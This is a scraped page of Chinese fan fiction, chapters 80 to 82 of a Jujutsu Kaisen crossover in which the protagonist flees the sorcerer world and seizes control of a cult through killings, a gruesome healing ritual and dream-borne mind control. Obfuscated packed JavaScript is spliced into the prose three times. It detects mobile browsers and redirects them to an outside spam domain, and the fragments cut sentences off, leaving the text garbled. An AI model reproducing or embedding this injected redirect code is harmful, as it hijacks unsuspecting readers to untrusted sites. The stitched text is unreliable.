“不是,他们都在找你,我也是。不过后勤人员做不了什么,东京又很大,也藏污纳垢。”硝子的态度与轻飘飘的拇指一样悬而未决:“但你去年走的很坚决。” 去年……已经是很久之前的事情了。 你就当场认真回忆了一下,想起发生的事情以后,你扭头看硝子的脸,发现她全脸写着【不是吧,你怎么还要想?】的惊愕。 可以理解,你的人生阅历太多了,他们迈不过去的坎,对你不过一个只需跳跃就晃过的火盆。 “因为不觉得回去会有好事发生。总监部不在乎人,但他们会在意秩序--管理者通病,不喜欢权威被挑战。”你说到这里就没讲下去,说别人坏话总还是落口实,你选点到即止。 “那个村子,你为什么要这么做?” “忘了。” “夏油说你在帮他,但你应该没那么幼稚,对吧?” “夏油知道你这么说他么,”你从她打开的烟盒里率先抽出一支,帮她点上,两指夹着送到硝子唇边:“大概就是顺手,我不太在乎那些村民。” “但你也没有杀了他们。” “唔,我要杀了他们做什么?”你又没有想要彰显【我要与全世界为敌】的欲望,你只不过……“确实有点期待人能从绝境里走出来的恶趣味,他们除了自己,什么都不会有了。政府支持能有多少呢?” 看起来他们大部分人,只除了被大张旗鼓众目睽睽之下火焚的两个,都全须全尾活着,不过他们既目睹了同类的悄无声息的死亡,又漠视故土付之一炬,等他们都清醒过来,会不会更加难过呢? 你讲话有点坏坏的,但也不完全坏,以下出自你认为公允的评价:“整体来说我认为这是对得上当地风气的结果。他们喜欢看,那就看吧。” 硝子掐灭了烟火,她现在确定了,你一点负担也没有:“戏谑,玩笑,你的态度就是没有态度。夏油竟然觉得他比你更激进。” 你们异口同声:“那他看错了/他错了。” 接着是你说话:“不是什么大事,不过我确实想高调一点,当时--你知道吗他和我说想把村子里的人全都干掉。” “所以你就告诉他死亡其实不是最坏的,还有更高的惩罚?” “我没想惩罚谁,包括我在内的大部分人都起于微末,我不会忘记来时的路。我只是在我【擅长】做的事里挑了一个反面典型,顺便效忠一下我的新领导。” 你摘下墨镜,更清楚地展示自己滚烫的双眼,然后你又碰了一下烟头,它重新燃烧。 然后你才注意到硝子的手机,她在录音。 对此诚实的记录者解释道:“我其实也不在乎,不过有人接受不了,不管是总监部……还是高专。等回去放 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14233464|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 给他们听听。” 这里的他们显然指的是高专里的两位同学。 一说到她的两个同学,你就有点没话说。 还是硝子主动透露:“他们都在找你。”她又说了一遍。 “哦那我会藏好的。” “不是这个意思,”她苦恼地吸了一口,烟雾在吸烟区里融入废气的洋流:“五条觉得你太过了,觉得夏油因为私情蒙蔽良心。夏油觉得他冷酷无情。两个人都想在对方和总监部之前找到你。 对了,姑且问一下06年市区里某个地方二十多起成年男人失踪的事情也是你干的对吧?我怕是五条冤枉了你。” 硝子提起了更古老的事情,而且她表情一点也不【怕】。 “他们还记得呢。”你都忘了。“谁发现的?” 硝子深深地看了一眼她旁边舔着嘴唇毫无悔改之心的女人。实际上,她的两个智力都优越的同期,他们应该都发现了,不过选择告密的仅有一位。 “就是我刚才说的,五条。他把事情上报了总监部,第二天你的通告就下来了。在那前两天--你和夏油出任务的那天晚上,他还在为岩守的事情据理力争。” “那他挺聪明的。”你是说他慧眼识破的脑袋瓜子。 “不过他后来大概也后悔了--因为没找到你。” “那他太坏了,找到我不上交组织,是想把我关起来咯?” “这我就没问,或者你见面问问他?顺便说一声五条在领域展开方面攻克了一些难关。” 硝子说的话让你觉得自己大概跑不掉,哎,这些人,虽然他们寿命短,但是他们实力不弱呀。 “就算他还和去年一样,我的回答也还是否定。”你告诉她。 你要走的路已经十分明朗,这是在2006年之前,乃至于在在场所有人出生之前,在19xx年就定好的轨迹,偶尔经过几个岔口而延伸,不过路就在那。 它的终点引向漫宿高点的辉光。 高专的一年很有趣,你收获了很多快乐,你也想过要为咒术界稍微贡献一点微薄之力,不过在两相权衡之下……总之你很感激他们都顾念旧情。 “咒术界是一个封闭的院落,它的正门总是闩着,高墙高到飞鸟也无法越过,而我是外面的……随便什么东西。”你懒得想了,接着说:“里面的人想要拉我进去,就只能通过监狱竖窗一样的栏栅,他们要怎么做呢?那窗户那么小。” “会把我打碎的。” “但是谢谢,我还是喜欢原来的模样。” 祓除咒灵是个好活计,但你没忘记最初这只是人类生命的代偿。你不会忘记来时的路。 如今,未来,也会一样。 硝子的语气和空气一样轻:“没看出来你上学这么委屈。”她不是真的在玩笑调侃你。 “还好,但如果去年回去,就算他们再怎么做,也就只是微薄之力,这你总没办法反驳吧?干嘛要让大家都那么累呢,既然我可以自己过得很好。” “……” 硝子不说话了,你还能说,不过考虑到一个人讲太多独角戏会很自恋,而且你们在这个性别趋势比较单一的吸烟区呆了太久,她身上还穿着jk,你们两个在一起抽着烟,引起了一些关注,你打算草草收尾。 “不,你不明白,星夏,其实我们都很舍不得你。”她却突然这样告诉你,眼角的泪痣瞄准了你的瞳孔。 你眨了眨眼睛,没有说话。 本来你打算说点漂亮的相濡以沫不如相忘于江湖……之类的人生格言打发时间和她。 “你走吧。”硝子抽完这支烟,拨了拨头发,晃晃脑袋,最后告知:“我会在10分钟以后找到五条,他看上的店要排队,所以应该没离开。或者你看着办。” 涩谷站人流如水,随时可隐入流动。你离开了,乘上地铁。 80.第 80 章 处理盘星教这件小事 2008年第四季度,又快到了冬天。你又一次见到了那个黑色头发的小女孩。 “阿姨,你的头为什么不闪光了?” 她父亲看上去局促不安:“叫姐姐。” “是啊,也许我应该再晚点。” 她父亲立刻接话:“我看就不必了--” 你治好了这个先天性肺发育不全的小朋友。孔时雨说他也很难接触到反转术式持有者。 “这种近亲结婚的病症反转术式也管不了。” “谁跟你说近亲结婚了?” “因为我看她脑袋也不好使。”下意识的,你的意思是。 这个笑话一点也不好笑,听众如此反馈。 “她还是个孩子。” “你女儿的问题可别拉所有儿童下水。”上次那姑娘拽你的头发,烫着了自己的手,这次她不烫了。 你的头有点疼。 你弹了她一个脑瓜子。 好消息,现在这小孩大哭的时候不会哮喘也不会咳嗽了。以前这孩子有点情绪就脸部涨红,弓着背,手或者扶着脖子或者揪紧胸前衣襟。 现在她那注定早夭的疑难杂症终于被解决了,而她的倒霉父亲还是心疼的要命。 你更怜惜自己的衣服,被火焰烧黑是宿命,但被小孩拽变形可不是。 “好了好了,你没事了--” “太感动了,请问我们什么时候可以去盘星教?” 真真是因缘际会,不仅指你和这个听说过几次的小众教派,更指孔时雨。 你听见他说过不止一次擦肩而过的死神镰刀,他差点就要信基督了。 “我离那个传说中的最强只有几步路,幸好伏黑甚尔不请女人以外的家伙吃饭。” 搞得好像你不是女人一样。 “所以你只有下地狱了才会信上帝?” 这家伙点起一根烟:“黄泉路上,盖棺定论。” 怎么硝子抽烟的时候就没有这种味道。 你用手帮扇风,确保二手烟一点不浪费地到他的肺。 总之,伏黑甚尔死的时候还没来得及从孔时雨那边拿到钱,也没人问他追回3000万-- “可怜,听说他还有两个孩子要养,孩子妈人在其他大陆。”如果你随口拿孩子说事,这个中间人又该如何应对? “我有定期资助他们,暗中,我还给禅院扫墓。话说你根本对小孩一点同情心也没有吧。” “我也没脏别人钱呢。” 聊不下去了。 孔时雨从盘星教赚到一笔从业生涯中最高峰的钱,感恩原田茂(法人)、感恩五条悟(不杀之恩)、感恩咒术界(囫囵不追究钱款)、感恩伏黑甚尔(他真的下地狱了)。 这个时代有很多机遇,只等着有本钱的人用金子去撬动它,得益于这笔意外钱财,被大家不看好的往日韩裔刑警又迎来了第三春--偏偏他最争气,一次转型比一次跳得高。 现在,他又卖了盘星教,两次。 其一为早就说好的引荐你做干部--聘书上法人签字盖章比你这个乙方都早。 其二…… 几天前。 “仪式会需要新鲜的血和肉,你记得准备下。” 临到头才把手术需要先行支付一笔巨额钱款的事情告知,如果你做了医生,以后少不了强身健体,因为有很多需要体魄来解决的医患纠纷。 “什么血什么肉?” 你偶尔会怀疑这个人没长脑子。 不过其实大概是因为他不愿意从梦中醒来。 你给了孔时雨一个怜悯的眼神:“你的女儿是什么?她的肺是猪肺牛肺还是羊肺?” 作为一个干过刑警的人,他不是那种经不住事情的毛头小子。 闷在客厅里烟雾缭绕一个下午,吹了几个廉价铝罐,他就走了。你在二楼看电视看书睡觉。 等孔时雨回来的时候,他带了一个五花大绑,额头流血的人。 “听着,我不管你要行使的手段是什么,不管你是谁--只要你救好我的女儿。” “这是以前盘星教的法人,现在他仍然运行转地下的团体,他是领导,主谋,随你怎么叫。”孔时雨还留着这个额头上流脓的人的性命,他把灰白的布更往那人嘴里摁了摁,确保不会出声。 “所以……”你用脚尖踮了几下那个人头上的大包,发现竟然是真的,他就长这样。 “如果他失踪,对你有好处。” 你迅速与这个有点冒险但甘愿奉上诚意的人达成一致。 这就是你的过期的暑假工结束之前,最后一个计件活。 过程有点……不好说,唯一超出预想的事情是,当孔时雨掏出一个粉色的肺,你问他为什么要那样做。 “啊,难道不是吗?” 你称赞他,伟大的父爱。瞧瞧这个人,失心疯了,怪不得现代医学出来之前又有奇怪的面具又有失落的疗法。 “……” 对你来说没有很难熬,你对老东家赤杯仍然很虔诚,他们也都不记恨你--大概除了某位,仪式开始的时候因为一个插曲导致房间里卫生状况不是很美好,但结束的时候只有一点残留的气味。 地板的缝隙都白白净净,墙上也整洁无比。 她醒来的时候,大哭了一顿,中气十足。 因为被你轻轻地弹了一下额头。 “真好,再也不用打奶嗝了。” 你感到欣慰。 另一个暑假工人快速打发了你。他说你一点也不会和小孩相处。 次日,你坐着载过不少人的朴素小轿车离开收容了你一段时间的地方,你的手里捧着聘书,资料。 你即将去盘星教就任。 “抱歉,你是说这就是盘星教?” 你以为地下室里只会有太平间呢。 蜘蛛结网的墙角,灯没打全的昏暗走廊,没什么节奏的淅淅沥沥鼓掌声。 听说今天还是久违的月度例会。 “知足吧,麻雀虽小,五脏俱全。钱,人,都不少。出资者坐在最后,他很有钱,信息在你资料里红色标签那本的第二页。”孔时雨大概率发现了你根本没瞧他费心打印出来的一大摞材料,手脚麻利地丢下烟,鞋底踩了踩,然后精准地揪出那一页资料。 “喏,就是这个人。上了年纪就开始信虚无缥缈的东西了,但如果是你的话,应该比那些凡庸更轻易地让愿者掏空钱包吧。” “明显百足之虫死而不僵更恰当。”盘星教祖上也是富过,如今却没落到被防剿局,不是,社会检察机关围捕到这种程度。 你用眼角余光撇了一眼递过来的a4纸头面,右上角在暗光下照出一张老人的脸。 你对孔时雨话里不当表述只一句就停歇,因为你看到了一个…… 哎呀,似乎你和盘星教的相性也还可以。 “怎么了?”孔时雨本欲等你说完再步调一致地接上解释的,谁知道你突然失掉了一切兴趣的样子,他的愣怔构成了片刻安静,然后自己填补:“他是前两年才加入奉纳的,不过就金额来说已经超过了不少墙头草的出资人。而且最难能可贵的还是风雨中仍然不放弃这个团体的意念--” “上了年纪总得花钱买票,股票也好,赎罪券也罢。他会上天堂的。”你收回了那张纸,“以后有机会再看,今天先去听听他们这个夹缝中求生存的诈骗例会。” “……”你这忽冷忽热的脾气,比火苗还跳脱。 孔时雨让你先请。 作为一个空降的干部,你需要一定的背书,还有一个中间人巧舌如簧的言辞。 你先于他走入一个会议室,然后与副会长握手,热络得假装你们早就认识彼此已久,实际上对方却说的是“神交多年”,一点也不管你看起来是不是还挺年轻。 作为cult人睁眼说瞎话的能力已经尽数体现了。你也是这一刻才有点好奇,孔时雨到底是怎么把你塞进来的,用他的关系网? 你接着又和理论上是你手底下的分部长进行寒暄,直到这个时候你才知道,你负责的是文化宣传部。 会议上,无人提问会长去了何方,众人就一系列看似宏大而实际上什么也不沾的议题进行了一番深入,深到深奥至极,你怀疑没人听得懂的讨论。 然后你和大家一起直点头,感悟道法与佛理之深。 会后副会长亲自领你去了你的办公室,一间全新的,连网的,配电脑的,有电视沙发的办公室。打开时里面有木头油漆和樟脑的味道。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|14244599|144086||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你在今天接下来的半天里知晓了,这个职务是他们特地为一个【干部】设下的,新职务,你没有要分管的事项,没有工作日常,也不参与团体工作,有的只是每个月的薪资,还有为团体设计周边的业务--实际上这项工作由外包公司负责,你只要签字,然后让手下人找副会长那边的公章盖上,再快递过去。 “铃木女士,您还有什么问题吗?” “没了,门外有我的客人,到时候麻烦你走的时候叫他进来。”闲职也好,你才不管这个小地方人心勾结到什么程度,现在重要的是…… 你要静下心来不被人找到,然后做你在另一重世界应做的事务。 副会长,他也姓园田,看起来对已经在不知道什么地方含恨殒命的亲戚并不关心,他有点惊讶于你轻浮随意的态度,回过头时更是被来客的面目震惊。 他回头将那个开会前才被孔时雨重点关注的出资人请了进来,再送上一双看不出你深浅的探究眼神。 是啊,如果你是他你也会好奇的,你怎么初来乍到的就好像认识团体甲方呢,明明你是另一个人的关系户。 你微笑着关上了门,旋转的木板掀起一阵味道厚重的风,引得重要投资人握拳放在嘴边咳了几声。 还不客气地把领导关在了门外。就业第一天,有个很好的开头。 “咳咳,小姐,我没想到能在这里看到您。” “不在这里就只能在坟墓里啦。”你笑眯眯地给这个你曾经治疗过一次,现在已经能拄拐杖跑来跑去的老人倒了杯白开水。 嚯,保温壶里水还是凉的。 不要紧,反正他都会喝下的。 “哎呀,看到你我就忍不住想到前年,那时候我还在上学。”你和这个在东京的第一桶金打招呼,倒在全新的沙发上,就容这个客人一手拿杯子,一手拄拐杖地弯腰站在那。 时光荏苒,这个在病床上起不来身的人,比慢性病更先摁住他命门的人是你,你曾经治愈了他,用超常规的手段。 现在,衰老又找上了门。 这个老人站在原地,请求你再次施展神迹。 “我只是个赤脚医生而已,帮人增寿可不是我的专长。”在冬天,有很多不适应季节的人和动物会死亡,你看的出来眼前的人即将被追上。 但是你笑眯眯的表情分明就有些故作姿态,他在你脸上看到了希望,受到了某种暗示,于是将态度放的卑微,再卑微-- “拜托您了,我什么都愿意做。钱,地位--不,那种世俗常务怎入得了您眼,我愿意给盘星教再修建一座神龛。” 他可真是个大机灵鬼,你本想说你和他们信奉的天元大人一点也不熟,后来你想到了天元的特性--术式为不死,你再看眼前的人--不愿面向死亡。 话到嘴边,你低头看伏在干净地面上的脑袋,上面有稀疏但打理痕迹明显的几根杂色头发,你意识到,或许你可以在这个你没什么野心踏足的地方稍微有些行动。 大家的用户画像似乎有些相仿的眉目。 你撤回了本来呼之欲出的话,暗自思量起来。 直到眼前的老人膝盖把地面都要焐热没你才叫起他:“太客气了这位先生,我对你并没什么恩德,你不必如此。” 你手轻轻一拂,一道看不见的力就拉着他起了身。 对方这会更是笃信你为有特异能力的能人,态度恭敬分毫不减。 “你说的事情我会考虑的,下周这个时候你来这里,我当面给你答复。” 说完这句话,今天第二个访客也被关在门外。 你挥挥手就隔空甩上门,坐在沙发上摊开了身,你想起了在你失去记忆之前的事情,在那个人权和平等还是个笑话的时代……昕旦啊。 当然你没有说今天他们不是。每个时代都有它自己的笑柄和草台班子,但不管当代的年轻人怎么说,你知道今天比1930年好很多。 你也知道人在所处的时空坐标轴里几乎是嫁鸡随鸡嫁狗随狗,只有一点点由得自己。不过么,在这一点点的选择里,能洞见的人依旧大有可为。 你会看见,然后选择更有利的。 此为你掌控盘星教的开端,你的野心在尘世间的事务中也有了落点,它的名字叫财富。 81.第 81 章 速成:教你七天架空领导上位 入职第一天,你就有了高远的志向。 你在甲醛超标的房间里度过了接下来的一晚上。在漫宿中,锤炼场里,赤红的火焰烧灼你心,你的脸上映照铸炉光彩,你随她敲打熔炼,你们都不爱说话。 进行了一晚上的体力劳动,第二天,你用黑咖啡唤醒自己酸胀的身体,好让它继续供你驱使。 这一天,你懒得出门,翻阅教宗典籍,查看他们是如何缝合出一套集神道教、基督耶稣、进化论于一体的天元信奉体系。 狗屁不通。 从一开始就很好的筛选出了文化水平不高的教众。现在好了,除了执迷不悟的氛围组,懂点事情的都被当局劝去信别的了。 你桌上还摊着06年震惊一方的报纸专栏页面--《惊!如此这般如此,15岁少女被胁迫--》后面的字已经被咖啡晕花。 有点智商的人也知道这地方不合适。以前有笑话说世界上有35亿男人,不必单恋一枝花,放在宗教事务上也合宜--这个小小的国家竟然也有八百万神佛。 此外,全球化以后还有基督清真的外国神东渡而来,大家有的是选择余地。 你从文稿中理解了现下的局面--确实是死而不僵,而有人想从还没冷透发烂的尸体上再薅点羊毛。 在第三天,你趁有人过来倒水的功夫蛊惑了这名服务整个地下室的保洁员--再落魄的地方也得有人干后勤啊。 他是你的第一名忠实教徒。 你一路顺着房间的方向,走访了另外四名部长,其中有三个人根本不在办公室。 “可以理解,人有了钱,总得想办法把它花掉,如果敛财不是为了享受,那还能为了什么呢?”你拦住这个唯一在职的部长出门必经之路,抵着门把手,在这修剪指甲。 十分不礼貌,但你接下来做了更多不礼貌的事情。 在你出去的时候,你手上多了一张部分会员的花名册,以及重要人员通讯录。 直接和骨干一对一面对面沟通就是好。 爱来自扁平化。 晚上,你又被叫到漫宿去从事劳力的体力工作,差不多也就是保洁员。不过好歹,在口干舌燥中你能尽可能地放松大脑。 白日铸炉在蒸汽四溢的热力中揪出一团黑乎乎的怪物。 这是工作中类似铁匠废弃金属料渣一样的残次品,区别只在于铸炉是司辰,她造物中的废品也是在外界受人追捧的秘宝-- 汽灵,这是它的名字,因为司辰不在乎,这名字起源于很多世纪前的一本书,人类撰写。 汽灵是一团狡诈的高温云雾,你要做的是把这团威胁不到你的东西运送到锤炼场外,漫宿边境,然后让它自生自灭。 这个新生的小东西一路上好赖话都说尽了,也没引起你这个打杂的人更多的注意,残次品的狡诈和智慧能算得上什么呢? 不过在最后,新生的物种交付了它的全部。 叫嚷着:“我可以潜伏到你敌人的梦中!” 你立刻就像是在网购中看到了没太大用处,但省事,有趣,还便宜的小东西一样停驻。 “说说看。” 此物立刻不遗余力的奉上了自己的忠诚,只求不被抛弃。你收容了它。 等你回到锤炼场时,铸炉看了你怀中一眼,但她没说话。 你继续在这个往日你驻足多于参与的圣所献上微薄的努力,帮她把瓶瓶罐罐归位,各色铁石精华贴上不易被灼烧的羊皮卷标签,再去除炉外四溢的烟灰。恰似一个勤快而安静的女仆。 直到天亮--太阳升起的那种天亮,你在现实世界醒来,仍然疲惫,身体酸痛。 光工作不睡觉,长生者也会变憔悴,你在日光照拂的天台上吹冬天的风,睡了一个白天。 第五天,你铆足了劲徒步到副会长--即将晋升的家里去。 你遗憾地发现,即便在此之前的法人原田茂对天元大人的信仰有所偏差,偏差到天元本人都懒得搭理他的地步--毕竟那位可是下达了阻止同化干掉星浆体的悬赏,他也是这个满是凡人的盘星教里,最后一个虔诚的信徒。 你从孔时雨那边听说过前教主,不对,前法人的名言“若是能与星同陨,那我们也听天由命。” 偶尔,主理人自己信了教典的无稽之谈也是有的。 但那样的人终究稀少,现在也死了。他的亲戚还是比较享受奢靡与人间乐趣的。 他见到你的时候很惊讶,和前几天看到金主恭敬出现在你办公室门口时表情如出一辙。 “你怎么会在这?不对,你是从哪知道这个地方的?!” “在你最深的梦里。” “你想做什么?不,我可以给你--啊!!” 你婉拒了此人,在你离开的时候,还顺走了一颗果盘里的苹果。 在第六天,你路过正在出售的这栋大楼的会议室,发现几大干部聚集于此,其中一位看见你的时候眼睛里还有恐慌,见鬼一样。 你和他们亲热地打了招呼,顺手进去还带上门。 真是无巧不成书,他们正好在讨论继法人失踪之后,代理人竟然也在家中离奇消失的事情。 正值一筹莫展的时候,你出现了。 跟他们一起抽了支烟,你这人最随和,也擅长融入--等烧到滤嘴处的时候,你呼出的烟雾在空气中凝聚成了一瞬人影的形状,不过它更狰狞,影子似乎也被烧烫。 房间里的温度立刻暖了不少。 这个时候,你的言辞一同窜出口中,你这般提议:“那我们就应当再找一名代理人。要知道,信众就如迷途的羊群,需要有猎犬和牧羊人的指导。” 你还说:“骄傲在败坏以先;狂心在跌倒之前。两位教主,不是,会长必定是行了不义之举,才致使盘星教群龙无首。” 大家纷纷连连应是,不过最终还是有个干部率先反应过来:“等等……铃、木,铃木干部,你怎么会出现在这里?” 众人如梦初醒,你怎么会在这呢? 你已经收回了汽灵,他们自然恍惚不了多久,但时间足够了--你也惊讶起来:“这是什么话,我好歹也是曾经的法人园田先生亲自任命的干部。有什么事情是我不能参与的?” “我选他做我们的领头羊。”刚才还是牧羊人呢,现在就成了领头羊,不过没人注意到你话里的不通。 现在众人的焦点在于你第一个推举的干部,他分管人事,实际上也不见得管了什么。 在几天前,他曾经出于焦虑、惊惧或者别的什么情绪,资源赠与了你一些名单和信息。 投桃报李,现在是你贡献自己宝贵一票的时候了。 你离开的时候帮他们带上了门,却留下了承诺【必为你所用】的汽灵。它轻若烟,散如雾,能融进人的思绪中,侵扰潜意识。 说到底领头羊也还是羊群中的一员,仍然是人的傀儡。谁做教主你无所谓。 不过你更无所谓的还是这些干部的死活……在这个短时间内第三任教主做蠢事的时候,你还是得站出来主持一下局面。 第七天,等你再进入会议室的时候,只能闻到腐朽的烟臭味,还有一具被遗弃在地板上的东西--它曾是一个人,现在不是了。 随后破门而入的新领头羊和他的伙伴进来,痛心疾首地声称你谋害了他们的同僚。 面对这令人费解的指控,你决定教一教他们什么是狗--黑吃黑。 “先生们,我想你们忽略了一件事。” 显然剩下的三位干部达成了三角形的稳定一致,也商量好了他们会做彼此的同谋,共聚于此吮吸完盘星教的最后果实。 所以他们一起做了件坏事,不同于你的暑假工,他们是长期的,而且决定不要带你这个上世代的旧人关系户一起玩--原田茂发的合同,他们这批新人可不认。 三个臭皮匠能做的事情偶尔明智,但现在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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不过在此之前,你首先依照约定,在安顿好两位未来的下属后回办公室整理了下仪容,给保洁员打了电话,请他打扫好以后还要用的会议室。随即开门,迎接已在门口恭候多时的客人。 “快,请进。” 千里之行,始于足下,你热情接待了有求于你的客人。 并作为赤脚大夫向他介绍了你为他量身定制的第二套疗程。 也许某天你会不得不对人使用昕旦和清算人之间说不清道不明的小窍门,但你也很庆幸,在距离未来还算遥远的现在,你尚且有得选。 你能选自己喜欢的作风行事。 “忘了天元大人吧,难道你见过他,或者她?” “可巧,我也没见过。诶,问我为什么信奉一个没见过的唯一神吗,其实这是个误会,我也不信奉天元。” “接下来,”你令客人坐在沙发上,而你蹲在他身边,将拐杖拨倒在地面。 你的双手拢紧这个皮肤起皱,血管突出,斑纹横生的老人的手,仰头耐心和煦地望向他眼睛,一字一句说: “我会为您揭晓我所学至今最深邃晦涩的至极奥妙,只有极少数的学徒能成功施展……我敢保证,这一定能抵抗衰老。” 你运用了一些新闻传播和销售技巧,具体到夸大叙述,夸大疗效,夸大难度,唯独没有夸大自身。关于进行【铸炉的赦罪】这一仪式,你确实足够心灵手巧,而且你最近和她的关系也挺好。 风烛残年的老人颤抖着手,一滴干涸的泪珠流淌过半个脸庞,如同发源雪山的溪流艰难跋涉半张地图,宿命地奔赴湖泊。 你的事业在起步阶段遭到了一些大家都会遇到的寻常阻碍,不过这都没办法阻拦在你的努力之下,它像是要走上正轨。而你会借着他们所有人的泪水或汗水,扬帆起航。 不会很多的,只是……每个人取一点点。 82.第 82 章 过渡 入职以来,你几乎把去年赋闲在别墅里的工作量全都补了回来,人员谈话,教典修改,资金流动监管,可谓是励精图治。 同时,你也把该得罪的人都得罪了一遍了。 好在,你有左膀右臂--正好两名。 你建立了一套未公开,但已经在现行使用的内部绩效考核体系。 当然,你不会真的发钱,因为你掏不出钱。 可想而知,精明的、重利的、选择留下的人,他们的配合度不太高。 如果职位和薪资不挂钩,如果他们的努力不是为了从信徒手中盘剥财富,如果金钱不能货币化地从不配持有它们的人手中被抽走,流向巧言令色的人钱袋里,那他们还呆在这里干什么呢? 首先是谈话,两位被虚界剩下来的幸运儿们身上担负了许多激励谈话的指标。 你签批的任务只有两个-- 1.尽可能的安抚底下人躁动的心灵; 2.不承诺暗示性、不切实际的好处。 听话的下属也不是一天就培养成的,幸好你在一个任何业务员死掉了,都会有替补立刻补上的。 “人有了点钱都想安定下来,我都明白,所以你们应该都还完常住地的房贷了,对吧?我有你们家庭住址。” 今年美国发生金融危机,房价急速下跌,股票也不好看,这种时候中年人谁也不敢到处乱跑出去找工作的,而且显然,盘星教干部们都记录在案,出行出境风险并不小。 你又抄底了他们的不动产,哎,你没再多说,但他们都是很坏的人,一下就全懂了。 你忽然在这个时候想起了夏油杰,他……嗯,有没有一种可能他不仅是善解人意,而且本人内心里也有点往灰色地带靠的想法呢? 你挥挥手吩咐他们好好工作后,就窝在你用奉纳金购置的又新又贵又好的沙发椅上,打开被你翻开过去多次的文件夹,它是孔时雨给你准备的,十分周全。 你挑起最后一页纸,找到一位故人信息。表格上记录了他近期的状况。 他的表情像是被欠了钱,穿着校服衬衫也不像个学生,金色的头发齐齐整整,如一顶挡风能力优越的帽子。 你拨通了电话,在嘟嘟嘟的几声过去后,它被一个冷淡的男人接起:“喂,您好。” “哦哈哟七海~” 在一阵屏住呼吸的安静后,你听见了被挂断的忙线音。 过了几分钟,电话被打回来了,来者的第一个问题是:“你在哪?” “东京。” “……东京哪里?” 你决定不跟着他步调走。七海八成是从灰原那里听到了一些事情,然后也知道了你离开咒术界,而有人在找你的信息。 你不会轻易暴露行迹。于是这么说: “最近接手了一门生意,目前处在转型阶段。” “你联系我想做什么?”那边的声音问,背景音里青春笑闹的往来存在感并不低。 “你知道,起步阶段总是兼有光明未来和投入的需求,总的来说,独木难支。”你三言两语之间就意图拉他入伙:“你要来加入这门事业吗?我需要你的帮助。” “……”七海那边的背景音愈发明显,因为他本人的沉默。 接下来的一两分钟,你以发自内心的赤诚和他讲述了周围一些上了年纪的社会人听不懂人话的苦恼。 “他们曾经都在事业上取得了或多或少的成功,但还是这样。这就不由得让我疑惑社会分配事实上到底遵循的是哪种规律。 经过并不长时间的思考--因为我忙到没空想七想八--我确定了造成这个现象的原因:那些家伙不是理解能力缺乏或者大脑残疾,只是他们觉得只要闭上眼睛捂住耳朵就可以拖延,时效已过,问题就不存在了…… 你知道吗七海?冷知识,神经元之间的接触会让人记住更多,大脑更活跃,换言之更聪明。但在社会关系中的接触却反而有时让人走上退行的道路,大概因为神经元不会欺负别的神经元吧,它们就只是连接。” 很巧,七海那边的忍耐也到极限了,他在你说完以后才找了个缝隙插话,他身上还有未步入社会人的学生涵养:“你和我打电话就是为了说这个?” “不完全是。”你知道七海想听什么,你也不介意说给他听,但如果一切都被轻易地得到,就不那么有效,这是古今常理。 你说,一只手扶着话筒,贴着脸,一只手玩弄缠绕的电话线,语气突然从喋喋不休转变为平静认真:“之前的事情,我很抱歉。” 这个难得低头的举措效果相当明显,有效到七海建人直接和你约了晚上详聊。 “现在我要去考试。” 他主动挂断电话以后你的动作不变,回想他的语气。这学生似乎还挺骄傲? 七海是个应答和着落总知行合一的执行者,比起凡事都说“好好好”,一看项目进度0%的干部靠谱许多;他又接触过专门的咒术师培训,抗压能力较高,不会动不动抛弃尊严找你来哭“教主我们实在是推进不下去了呀!”;更可贵的是,他对你有几分了解,节约了弄虚作假的时间,而且仍然把你当做朋友。 你从不以好人自居,但你接触了一些确实不好的人以后,你觉得七海这样的人更能成为和衷共济的同伙。 晚上,在寒凉的风中,还有楼顶能一览无遗的五光十色映衬下,你吹着风,它也从听筒里传到了远方的七海耳中。 简述目创业困境:“自从被总监部下了追缉令后,我找了个可靠的线人,在他的安全屋里呆了一段时间。现在我接手了一个和我本人有相似境遇的中小型机构,这里有很多空缺职位,剩下的单位老人不太好相处。” “比起这个,2007年到底发生了什么?”七海问出了这个灰原也讲不明白的问题,二手消息到他耳朵里就转了三手,所以他问你本人。 他问,你也就简要应答:“村子里曾经有个咒术师家庭,后来父母死了,遗孤被关了起来,此处省略500字关于怪胎和灵异事件罪魁祸首的谣言。 我们去处理问题的时候夏油有点忍不住想把人豆沙了,我帮他折中做了个好事。” 做了个好事,你咬紧牙关认定。 “你有这么好心?” 你伤心了,声音也控诉一样地变大:“多见怪呢您这么说?!我还不够善良吗,算上那一次,我也是两个年级都下海捞过人的恩人级别的存在。没了我高专就要散了,可现在你瞧瞧,是谁被通缉?” 这下七 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说出了很有吸引力的说辞,且你圆滑得太自然,自然到几乎他信以为真。你在高专的时候脾气不倔,但从不在能力问题上服软。 现在你认了,而他又疏于理事,社会经验终究很浅:比起忌惮连你都觉得烦恼的事情,七海更高兴你愿意在一天之内同他的心结问候,又表达了自己的需求。 